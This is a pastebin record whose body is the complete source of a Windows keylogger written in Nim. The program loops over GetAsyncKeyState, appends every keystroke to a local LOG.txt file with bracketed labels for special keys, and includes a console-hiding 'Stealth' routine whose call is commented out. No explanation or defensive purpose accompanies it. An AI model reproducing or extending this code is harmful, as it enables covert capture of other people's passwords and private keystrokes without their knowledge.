{"body":"import os \nimport windows\n\nproc GetAsyncKeyState(key: cint): int {.header: \"<windows.h>\", varargs.}\n\nproc Stealth() =\n  var Stealth: HWND\n  discard AllocConsole()\n  Stealth = FindWindowA(\"ConsoleWindowClass\", nil);\n  discard ShowWindow(Stealth,0)\n\nproc main() =\n  #Stealth()\n  var file = open(\"LOG.txt\", fmAppend)\n  while true:\n    for i in 8..190:\n      if GetAsyncKeyState(cint(i)) == -32767:\n        case i\n          of 32: write(file, \" \")\n          of 8: write(file, \"[BACKSPACE]\")\n          of 13: write(file, \"\\n\")\n          of VK_TAB: write(file, \"[TAB]\")\n          of VK_SHIFT: write(file, \"[SHIFT]\")\n          of VK_CONTROL: write(file, \"[CTRL]\")\n          of VK_ESCAPE: write(file, \"[ESC]\")\n          of VK_END: write(file, \"[END]\")\n          of VK_HOME: write(file, \"[HOME]\")\n          of VK_LEFT: write(file, \"[LEFT]\")\n          of VK_UP: write(file, \"[UP]\")\n          of VK_RIGHT: write(file, \"[RIGHT]\")\n          of VK_DOWN: write(file, \"[DOWN]\")\n          of 190, 110: write(file, \".\")\n          else: write(file, $chr(i))\n      flushFile(file)\n  discard execShellCmd(\"PAUSE\")\n\nmain()","name":"","extension":"txt","url":"https://www.irccloud.com/pastebin/4G6fE1W3","modified":1433364558,"id":"4G6fE1W3","size":1100,"lines":37,"own_paste":false,"theme":"","date":1433364558}